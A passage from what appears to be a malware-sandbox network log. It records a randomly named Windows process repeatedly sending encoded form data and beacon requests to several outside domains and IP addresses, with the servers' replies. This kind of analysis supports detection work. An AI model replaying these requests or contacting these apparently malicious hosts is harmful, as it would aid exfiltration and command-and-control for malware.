67 6c 42 6a 54 4f 52 6e 50 38 42 71 2b 51 6d 36 4c 42 35 53 73 45 6c 36 67 65 33 55 6f 72 36 33 58 51 76 53 54 51 57 74 59 30 35 72 58 52 49 68 72 41 2b 6f 78 35 48 35 70 4e 67 70 44 34 77 65 66 63 68 76 4f 6b 6a 2f 4e 39 7a 4e 4e 62 66 48 75 33 4c 4a 6d 55 36 6e 6f 36 62 2b 48 45 39 33 35 47 44 75 72 4e 72 71 65 4c 6a 6f 2f 62 48 61 74 41 6f 41 5a 45 4e 79 4c 47 32 39 37 76 72 34 3d Data Ascii: AHkx=O3h880Jaoet1F+BJQBtp4nVvBDIrz7O88MB8Gd6YhkLoARiJP6Ij36Rmtl3WT6qAQBwuWXmlkpl1Uy8lcZtN+OwglBjTORnP8Bq+Qm6LB5SsEl6ge3Uor63XQvSTQWtY05rXRIhrA+ox5H5pNgpD4wefchvOkj/N9zNNbfHu3LJmU6no6b+HE935GDurNrqeLjo/bHatAoAZENyLG297vr4=
Oct 9, 2024 14:21:15.543420076 CEST	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Wed, 09 Oct 2024 12:21:15 GMT etag: W/"66fe0220-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49650	133.130.35.90	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:17.319358110 CEST	10818	OUT	POST /p9u3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.komart.shop/p9u3/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4f 33 68 38 38 30 4a 61 6f 65 74 31 46 2b 42 4a 51 42 74 70 34 6e 56 76 42 44 49 72 7a 37 4f 38 38 4d 42 38 47 64 36 59 68 6b 44 6f 41 67 43 4a 4d 5a 51 6a 32 36 52 6d 79 56 33 58 54 36 72 43 51 46 63 71 57 58 71 31 6b 72 64 31 53 51 30 6c 49 34 74 4e 77 4f 77 67 39 42 6a 53 41 78 6d 53 38 46 4f 79 51 69 6d 4c 42 35 53 73 45 6d 69 67 65 6c 38 6f 70 36 33 55 5a 50 53 50 55 57 74 77 30 35 79 73 52 49 31 52 41 50 49 78 35 6e 70 70 50 56 31 44 6c 41 65 52 64 68 76 57 6b 6a 69 54 39 7a 52 72 62 66 69 37 33 4a 56 6d 58 4e 57 4e 76 50 4f 48 65 4d 4c 32 55 6b 43 6f 4b 70 2b 75 44 77 55 42 62 6b 61 71 54 4a 51 73 44 74 58 75 57 55 68 34 37 76 6b 2f 35 75 75 63 62 55 54 54 64 38 59 4b 57 4f 56 56 73 2f 4c 56 55 66 62 71 42 71 46 79 42 6b 2f 58 7a 6f 37 6e 4f 37 2b 44 6e 48 6f 69 36 75 55 76 35 2b 2f 2b 39 43 79 49 4a 67 65 33 31 52 71 46 79 4a 77 37 66 77 6d 67 36 4e 49 5a 74 74 72 32 66 37 50 70 46 76 54 68 4d 56 4c 6f 61 77 52 79 62 75 73 6c 75 66 43 43 68 5a 6f 47 65 30 2b 2b 63 41 63 72 73 [TRUNCATED] Data Ascii: AHkx=O3h880Jaoet1F+BJQBtp4nVvBDIrz7O88MB8Gd6YhkDoAgCJMZQj26RmyV3XT6rCQFcqWXq1krd1SQ0lI4tNwOwg9BjSAxmS8FOyQimLB5SsEmigel8op63UZPSPUWtw05ysRI1RAPIx5nppPV1DlAeRdhvWkjiT9zRrbfi73JVmXNWNvPOHeML2UkCoKp+uDwUBbkaqTJQsDtXuWUh47vk/5uucbUTTd8YKWOVVs/LVUfbqBqFyBk/Xzo7nO7+DnHoi6uUv5+/+9CyIJge31RqFyJw7fwmg6NIZttr2f7PpFvThMVLoawRybuslufCChZoGe0++cAcrsXtuRnpY76CD6a+nwIUcoT+szmj1TZAERMBsMbHx2/3oCe1hRX+1O1L5hnpX0/nw71sKHPeVBCDLkOlTdiP/t9Umfp5ZlKqv+JLP1eFa862B720Ns5XcK81Bhd0LQdRZFNCXFth3fnnx8QSOzxU0l8wbOMtk9FV1Icc7Ds6YeJdfdMWT2fSgUTzQ+sr0PPRXbWTzwB7dxSxnRFqhTLuMxYJDaIp7MZefRUmNbjCJU/DrmGXT//LlYxgP39pk4HeaWOS/ezCeO4AySCslv8VDpXMczGtne0EunvoGxwp+szy52EESFy5Dk2tsF6yUNeooDtSfsGP5+bae14py8AQ2sUJp2Qoh7QYg615UrCo2UpAcRnh+D3Dv0oIkZkxgcuNdvimCcoaLFLSJCv4qfD+aukaZqXF4Xp6iBC5/rEs5FveGnYgqSiEeZ5Z04W/RTmKxD3qFn+wBe77DsDt5+ROr4pbFzy4VNcX5l3aWLKg/nFBnbVetMb6/MQDBcE4rDnUbhZ93Yg+oWtGCcRmgarUIhFAFzQSaLNRGOaFDK5CBw1WELsuB0gh8sdTV441q4Dc76VsYIbjPQ4ZfU6+cdZA/jZq7+E2XqxR2uE4gyYDryjcf4OPpsQ6Ad79mJjKJhqK5d1anDHXiBx5So5xi8Rg31Z6gAzyJJmZTlel [TRUNCATED]
Oct 9, 2024 14:21:18.270903111 CEST	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Wed, 09 Oct 2024 12:21:18 GMT etag: W/"66fe0220-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49651	133.130.35.90	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:19.862317085 CEST	461	OUT	GET /p9u3/?AHkx=D1Jc/C1nh+BZL85ZeChw3l4+cioj8fKXqdphFMmfowbAWgC+evwb7cYTziaUWePLaVULTAuSiJlrRgQRJK1Ewp0jkjvaZxrb1x+aTR+tBdOAHUHhfEgGmf4=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.komart.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:21:20.647305965 CEST	883	IN	HTTP/1.1 404 Not Found content-type: text/html date: Wed, 09 Oct 2024 12:21:20 GMT etag: W/"66fe0220-2b5" server: nginx vary: Accept-Encoding content-length: 693 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e a4 b3 a4 ce a5 da a1 bc a5 b8 a4 cf c2 b8 ba df a4 b7 a4 de a4 bb a4 f3 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 65 75 63 2d 6a 70 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 65 72 72 6f 72 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 65 72 72 6f 72 22 3e 0a 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2f 65 72 72 6f 72 2f 65 72 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head> <title></title> <meta http-equiv="content-type" content="text/html; charset=euc-jp" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="/css/error.css"></head><body><div class="p-error"> <img src="/img/error/error.png" alt="" class="p-error__image"> <div class="p-error__message"> <p> <br> 30 </p> <p> <a href="/">TOP</a> </p> </div></div><script> setTimeout("redirect()", 30000); function redirect(){ location.href="/"; }</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49652	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:25.880536079 CEST	746	OUT	POST /u6k6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.healthyloveforall.net Origin: http://www.healthyloveforall.net Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.healthyloveforall.net/u6k6/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 51 61 52 72 63 32 31 4c 36 2f 41 4d 63 70 41 36 63 50 56 4a 45 6c 65 50 69 6f 6a 76 35 2f 48 65 52 34 52 6b 37 66 36 34 68 43 56 51 4f 49 76 76 35 57 71 4e 6b 32 4a 2b 57 51 51 52 2f 42 79 2b 6b 36 61 2f 33 35 34 52 44 67 58 45 32 52 6f 31 30 50 4c 35 59 41 64 33 36 34 67 58 50 72 53 2f 51 71 2f 44 35 30 30 54 57 2b 4e 31 51 79 76 36 37 70 44 73 48 2b 6e 6b 7a 77 38 5a 34 58 54 68 69 31 54 36 33 72 39 36 55 4e 4b 52 70 70 46 69 49 45 67 6e 61 62 2b 71 4a 75 38 4d 68 41 50 46 71 4e 71 4e 44 59 46 68 70 6e 79 6c 55 65 38 4b 35 70 38 2b 63 6c 65 64 77 36 36 50 7a 69 4d 44 36 41 3d 3d Data Ascii: AHkx=QaRrc21L6/AMcpA6cPVJElePiojv5/HeR4Rk7f64hCVQOIvv5WqNk2J+WQQR/By+k6a/354RDgXE2Ro10PL5YAd364gXPrS/Qq/D500TW+N1Qyv67pDsH+nkzw8Z4XThi1T63r96UNKRppFiIEgnab+qJu8MhAPFqNqNDYFhpnylUe8K5p8+cledw66PziMD6A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49653	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:29.395062923 CEST	766	OUT	POST /u6k6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.healthyloveforall.net Origin: http://www.healthyloveforall.net Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.healthyloveforall.net/u6k6/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 51 61 52 72 63 32 31 4c 36 2f 41 4d 65 4a 77 36 61 65 56 4a 46 46 65 4f 6e 6f 6a 76 77 66 48 53 52 34 56 6b 37 61 44 39 69 77 68 51 4f 71 48 76 34 53 2b 4e 6c 32 4a 2b 4f 41 51 55 78 68 79 35 6b 36 57 47 33 34 6f 52 44 67 44 45 32 55 55 31 30 38 6a 36 65 51 64 31 31 59 67 56 53 62 53 2f 51 71 2f 44 35 30 77 35 57 2b 56 31 54 43 66 36 38 39 58 74 59 4f 6e 6e 30 77 38 5a 7a 33 54 6c 69 31 54 63 33 71 67 56 55 49 4f 52 70 74 42 69 49 51 38 6b 54 62 2b 73 46 2b 39 5a 67 44 72 4b 72 6f 6e 37 44 4c 67 47 30 32 61 43 52 59 74 51 6f 59 64 70 4f 6c 36 75 74 39 7a 37 2b 68 78 4b 68 48 58 72 35 41 4e 73 32 71 42 4a 67 6b 6a 4d 6e 65 61 4c 47 5a 30 3d Data Ascii: AHkx=QaRrc21L6/AMeJw6aeVJFFeOnojvwfHSR4Vk7aD9iwhQOqHv4S+Nl2J+OAQUxhy5k6WG34oRDgDE2UU108j6eQd11YgVSbS/Qq/D50w5W+V1TCf689XtYOnn0w8Zz3Tli1Tc3qgVUIORptBiIQ8kTb+sF+9ZgDrKron7DLgG02aCRYtQoYdpOl6ut9z7+hxKhHXr5ANs2qBJgkjMneaLGZ0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49654	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:31.946639061 CEST	10848	OUT	POST /u6k6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.healthyloveforall.net Origin: http://www.healthyloveforall.net Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.healthyloveforall.net/u6k6/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 51 61 52 72 63 32 31 4c 36 2f 41 4d 65 4a 77 36 61 65 56 4a 46 46 65 4f 6e 6f 6a 76 77 66 48 53 52 34 56 6b 37 61 44 39 69 77 5a 51 50 62 6e 76 34 7a 2b 4e 6a 47 4a 2b 48 67 51 56 78 68 79 6b 6b 36 66 4f 33 34 6b 72 44 6c 48 45 32 78 59 31 79 4e 6a 36 58 51 64 31 74 6f 67 55 50 72 53 51 51 71 50 50 35 30 41 35 57 2b 56 31 54 41 48 36 76 4a 44 74 44 4f 6e 6b 7a 77 38 64 34 58 54 42 69 30 32 6e 33 71 6c 71 55 38 36 52 70 4a 6c 69 48 46 67 6b 63 62 2b 75 45 4f 38 61 67 44 57 4b 72 6f 54 4e 44 4b 46 68 30 31 47 43 52 35 41 54 72 38 42 45 62 7a 71 78 31 2f 54 73 6d 77 56 71 76 58 37 76 6f 77 46 72 6a 37 42 63 71 57 4f 46 37 4d 71 65 63 4a 77 55 4f 79 73 79 2b 50 6b 30 63 6c 62 32 5a 4d 57 4e 69 4e 48 46 33 4d 46 41 7a 67 46 39 46 71 68 4e 32 35 39 64 44 61 30 66 47 42 58 72 2b 78 77 41 73 59 31 62 61 48 67 2f 75 70 55 76 70 2b 36 2b 6b 36 70 49 63 6c 75 53 57 38 34 55 6d 44 4e 53 6a 70 39 65 4b 50 69 52 43 71 34 53 67 34 47 79 68 69 41 51 56 55 74 4c 65 49 6f 58 6a 49 36 69 67 4c 54 46 70 [TRUNCATED] Data Ascii: AHkx=QaRrc21L6/AMeJw6aeVJFFeOnojvwfHSR4Vk7aD9iwZQPbnv4z+NjGJ+HgQVxhykk6fO34krDlHE2xY1yNj6XQd1togUPrSQQqPP50A5W+V1TAH6vJDtDOnkzw8d4XTBi02n3qlqU86RpJliHFgkcb+uEO8agDWKroTNDKFh01GCR5ATr8BEbzqx1/TsmwVqvX7vowFrj7BcqWOF7MqecJwUOysy+Pk0clb2ZMWNiNHF3MFAzgF9FqhN259dDa0fGBXr+xwAsY1baHg/upUvp+6+k6pIcluSW84UmDNSjp9eKPiRCq4Sg4GyhiAQVUtLeIoXjI6igLTFpgoYs/eV6+l1t8wtCpAZTki/vphr3HvJgcdfNr/z7sm+lxypYmDpr8IaEQMi3g8Scv1zpoLObTANeK1olY5RFtN8knJB3anOl402aWQi+Nn6voUM61v78hhS46FFGFQiNOWjzJ8KE136ZsSWjkQCNBHRyB0kcmbgA7Gjznij4gQ1obSoXiIdbvqilmKtESZahr17r2JfYpypVIevdCF4EbUts2pXtJJW6k64/1PynxOulZP6cEul6FswJcwreodWXLYCdNbDhh+Bqk19/lCbpBAtO/M+aqzRKLqgVisNljX6S1o2T2Z6aJz416v4rjUw8sAEmyP9NPbLHoOBWJ4S3ZE0QAwdWvB51+gvUSyZITuxKkGiWPQmKm0J5kZblxt8jGzVqflFCC+RCiaslvr8Qc7IGqKIQgZH9bv9QhYl446LS4+tIOR0yGprAGCDj5LtaoAdWCgFxGqdI68jn3aalJyvM0B9+ArdQUMUjBYvJiIvXT2BbRSAI+1kxRtI44qEb6siAW+KqGxBHPFjwvymj7xKQPWhgSPzvNaRixnuTrH4UId/v/hik/KTHkrAfdjmCRpJi1PpfRtOPisK6fLQwT3CYH+mPp9dlw5vQwhXVAMWEZB8hfP51H1RZepxxV88z+So/FAfASfBd12RQ2fISLWYOXJCZlIKF7Y [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49655	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:34.485801935 CEST	471	OUT	GET /u6k6/?AHkx=dY5LfBxT8+4OTYgUENZhMVKOyd75/pKzLeRRn9zdsxFld7n68myH2Gd2W2FS03HPt+W/9NATFibZyiY45uryWU5ty+AJNLXNUa+K51k8edVyQTCKjNaYJ5Y=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.healthyloveforall.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:21:34.967421055 CEST	400	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:21:34 GMT Content-Type: text/html Content-Length: 260 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 41 48 6b 78 3d 64 59 35 4c 66 42 78 54 38 2b 34 4f 54 59 67 55 45 4e 5a 68 4d 56 4b 4f 79 64 37 35 2f 70 4b 7a 4c 65 52 52 6e 39 7a 64 73 78 46 6c 64 37 6e 36 38 6d 79 48 32 47 64 32 57 32 46 53 30 33 48 50 74 2b 57 2f 39 4e 41 54 46 69 62 5a 79 69 59 34 35 75 72 79 57 55 35 74 79 2b 41 4a 4e 4c 58 4e 55 61 2b 4b 35 31 6b 38 65 64 56 79 51 54 43 4b 6a 4e 61 59 4a 35 59 3d 26 72 66 2d 4c 5a 3d 4a 6c 43 74 75 4e 33 48 71 50 4f 38 43 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?AHkx=dY5LfBxT8+4OTYgUENZhMVKOyd75/pKzLeRRn9zdsxFld7n68myH2Gd2W2FS03HPt+W/9NATFibZyiY45uryWU5ty+AJNLXNUa+K51k8edVyQTCKjNaYJ5Y=&rf-LZ=JlCtuN3HqPO8C"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49656	172.191.244.62	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:40.523505926 CEST	725	OUT	POST /jqkr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.lurknlarkk.xyz Origin: http://www.lurknlarkk.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.lurknlarkk.xyz/jqkr/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 75 2f 56 53 47 2f 74 7a 70 32 43 34 4b 51 6f 4b 64 2f 79 78 73 62 6c 5a 79 55 61 30 56 55 49 49 79 4d 6a 53 42 72 75 77 55 76 68 67 61 4a 57 39 61 62 69 42 7a 75 39 45 33 45 56 57 35 6f 42 6e 73 30 52 2f 43 71 6d 77 64 49 5a 58 2f 35 4f 36 4a 42 7a 48 35 2f 73 45 39 30 77 4a 73 47 65 46 6f 38 57 34 4b 63 6c 66 79 75 46 32 2b 46 47 70 5a 59 37 6d 66 59 42 6e 64 74 34 2b 52 49 48 78 6b 50 78 50 48 75 48 32 68 5a 35 53 59 6b 53 37 45 63 53 4b 47 4c 68 43 76 75 72 34 53 77 4a 33 69 39 76 36 72 30 43 57 76 66 42 4b 6f 77 76 59 41 41 2f 62 68 4e 54 32 4d 6b 6a 69 6f 44 73 48 6c 41 3d 3d Data Ascii: AHkx=u/VSG/tzp2C4KQoKd/yxsblZyUa0VUIIyMjSBruwUvhgaJW9abiBzu9E3EVW5oBns0R/CqmwdIZX/5O6JBzH5/sE90wJsGeFo8W4KclfyuF2+FGpZY7mfYBndt4+RIHxkPxPHuH2hZ5SYkS7EcSKGLhCvur4SwJ3i9v6r0CWvfBKowvYAA/bhNT2MkjioDsHlA==
Oct 9, 2024 14:21:40.994254112 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 09 Oct 2024 12:21:40 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49657	172.191.244.62	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:43.244692087 CEST	745	OUT	POST /jqkr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.lurknlarkk.xyz Origin: http://www.lurknlarkk.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.lurknlarkk.xyz/jqkr/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 75 2f 56 53 47 2f 74 7a 70 32 43 34 4d 78 34 4b 62 63 61 78 6b 62 6c 57 75 6b 61 30 62 30 49 45 79 4d 76 53 42 75 4f 67 55 64 31 67 61 6f 6d 39 62 61 69 42 77 75 39 45 2f 6b 56 54 30 49 42 73 73 30 4e 33 43 6f 79 77 64 49 39 58 2f 38 71 36 4b 79 62 47 2f 76 73 47 32 55 77 4c 68 6d 65 46 6f 38 57 34 4b 63 67 45 79 75 74 32 2b 30 57 70 5a 39 58 6e 56 34 42 6d 55 4e 34 2b 56 49 48 31 6b 50 78 78 48 71 66 4d 68 66 31 53 59 68 75 37 45 49 47 4e 50 4c 68 49 72 75 71 50 63 54 74 7a 6b 75 71 72 68 6c 32 69 6b 2b 64 61 70 32 2b 43 52 78 65 4d 7a 4e 33 46 52 6a 71 57 6c 41 52 4f 2b 4e 4e 36 4d 73 65 61 4e 42 78 68 67 41 45 6a 58 68 33 49 32 6d 34 3d Data Ascii: 